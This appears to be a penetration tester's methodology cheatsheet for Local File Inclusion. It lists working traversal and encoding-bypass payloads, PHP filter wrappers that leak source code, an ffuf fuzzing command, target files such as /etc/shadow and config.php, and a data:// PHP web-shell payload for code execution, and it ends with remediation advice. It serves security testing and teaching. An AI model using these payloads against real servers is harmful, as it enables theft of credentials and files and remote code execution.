πŸ›‘οΈ Methodology Checklist

  • Test basic LFI: ?file=../../../../etc/passwd
  • Null byte (PHP < 5.3.4): ?file=../../../../etc/passwd%00
  • Double encoding: %252e%252e%252f for ../
  • Absolute path: ?file=/etc/passwd if app doesn’t prepend base
  • Filter bypass: ....//....//etc/passwd or ..././..././etc/passwd
  • URL encoding bypass: %2e%2e%2f
  • Common target files: /etc/passwd, /proc/self/environ, web config files
  • Chain with log poisoning or wrappers for RCE

🎯 Operational Context

Use when: File inclusion parameter discovered β€” traverse directory structure to read sensitive files (/etc/passwd, /etc/shadow, web.config, .env). Think Dumber First: Start basic: ?file=../../../../etc/passwd. If blocked: ....//....//etc/passwd (double slash bypass). URL encode: %2e%2e%2f%2e%2e%2f. PHP wrappers: ?file=php://filter/convert.base64-encode/resource=/etc/passwd. Skip when: Inclusion parameter is restricted to a specific allowed directory β€” narrow traversal scope and look for files in that path instead.


⚑ Tactical Cheatsheet

CommandTactical Outcome
http://[TARGET_IP]/index.php?language=/etc/passwdDirect absolute path (no prefix prepended)
http://[TARGET_IP]/index.php?language=../../../../../../../../../../etc/passwdRelative traversal β€” β€œoverkill” depth (extra ../ beyond root is safe)
http://[TARGET_IP]/index.php?language=/../../../etc/passwdBypass filename prefix (e.g., include("lang_" . $input))
http://[TARGET_IP]/index.php?language=../../../../etc/passwd%00Null byte β€” drop forced .php extension (PHP < 5.5 only)
http://[TARGET_IP]/index.php?language=....//....//....//etc/passwdNon-recursive strip bypass (../ stripped β†’ ../ re-forms)
http://[TARGET_IP]/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswdURL-encoded traversal (bypass . and / character blacklists)
http://[TARGET_IP]/index.php?language=./languages/../../../../etc/passwdApproved-path regex bypass (prepend required prefix then traverse out)
http://[TARGET_IP]/index.php?language=languages/....//....//....//etc/passwdChained: approved path + non-recursive strip
http://[TARGET_IP]/index.php?language=php://filter/read=convert.base64-encode/resource=configPHP filter β€” read .php source as base64
echo 'PD9waHAK...' | base64 -dDecode PHP source code extracted via filter
ffuf -w LFI-Jhaddix.txt:FUZZ -u 'http://[TARGET_IP]/index.php?language=FUZZ' -fs [SIZE]Auto-fuzz LFI bypasses
http://[TARGET_IP]/index.php?language=../../../../../../../../../../Windows/boot.iniWindows LFI PoC

πŸ”¬ Deep Dive & Workflow

Function Capability Matrix

LanguageFunctionReadExecuteRemote URL
PHPinclude() / require()βœ…βœ…include only
PHPfile_get_contents()βœ…βŒβœ…
NodeJSfs.readFile() / sendFile()βœ…βŒβŒ
NodeJSres.render()βœ…βœ…βŒ
Javaincludeβœ…βŒβŒ
Javaimportβœ…βœ…βœ…
.NETResponse.WriteFile()βœ…βŒβŒ
.NETincludeβœ…βœ…βœ…

If function only reads β†’ LFI gives source disclosure only, not RCE β†’ use to find creds then pivot.

Traversal Strategy

1. Try absolute path: ?language=/etc/passwd
2. Try relative (overkill depth): ?language=../../../../../../etc/passwd
3. Error shows prepended string β†’ bypass prefix: ?language=/../../../etc/passwd
4. Error shows appended .php β†’ identify extension append behavior
   - Try: ?language=../../../../../../var/www/html/index  (read known PHP file without ext)
   - PHP < 5.5: use null byte %00
   - PHP 5.5+: use PHP filter wrappers instead

Bypass Techniques

Filter strips ../              β†’ ....//....//....//etc/passwd
Blacklists . and /             β†’ %2e%2e%2f%2e%2e%2f (URL-encode)
Must start with specific path  β†’ ./languages/../../../../etc/passwd
Both above                     β†’ languages/....//....//....//etc/passwd

PHP Filter β€” Source Code Disclosure

# Read config.php as base64 (server appends .php automatically)
?language=php://filter/read=convert.base64-encode/resource=config
 
# Decode on Kali
echo 'PD9waHAK...' | base64 -d
 
# If server does NOT auto-append .php:
?language=php://filter/read=convert.base64-encode/resource=config.php

CRITICAL: View raw source (Ctrl+U) to copy the complete base64 string β€” browsers truncate long text.

PHP source reveals: DB credentials, other included files, config values β†’ follow all include/require references iteratively.

Second-Order LFI

Register with username ../../../etc/passwd β†’ application later uses it to load an avatar:

/images/avatars/../../../etc/passwd  β†’  /etc/passwd

Useful Files to Target

/etc/passwd               # User list, confirm traversal
/etc/hosts                # Internal network mapping
/etc/crontab              # Scheduled tasks
/var/www/html/config.php  # DB credentials (use PHP filter)
/etc/php/7.4/apache2/php.ini   # PHP config (check allow_url_include)
/proc/self/environ        # Current process environment variables

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
Basic ../ blockedPath traversal sanitizedTry: ....//, ..%2f, %2e%2e/, %252e%252e/ (double URL encode)
php://filter wrapper blockedWrapper disabledTry: expect://id, data://text/plain,<?php system($_GET[cmd]);?>, zip://shell.zip%23shell
LFI limited to specific pathNull byte bypassPHP < 5.3.4: add %00 to terminate string: ?file=../../etc/passwd%00.jpg
File read returns binary/garbageBinary file includedUse base64 wrapper: php://filter/convert.base64-encode/resource=[PATH] then decode
Windows target β€” Linux paths failOS mismatchWindows paths: ..\..\..\Windows\system32\drivers\etc\hosts; use both slash and backslash

πŸ“ Reporting Trigger

Finding Title: Local File Inclusion Allows Arbitrary File Read Impact: LFI vulnerability allows reading arbitrary server files including /etc/passwd, /etc/shadow, application source code, configuration files with credentials, and SSH private keys, providing both sensitive data exposure and potential RCE via log poisoning. Root Cause: File inclusion function uses user-controlled path without validation. Path traversal not prevented by application logic or web server configuration. Recommendation: Never pass user input directly to file inclusion functions. Implement strict allowlist of permitted files. Map all dynamic file inclusion to static identifiers. Disable dangerous PHP wrappers (expect, data) in php.ini.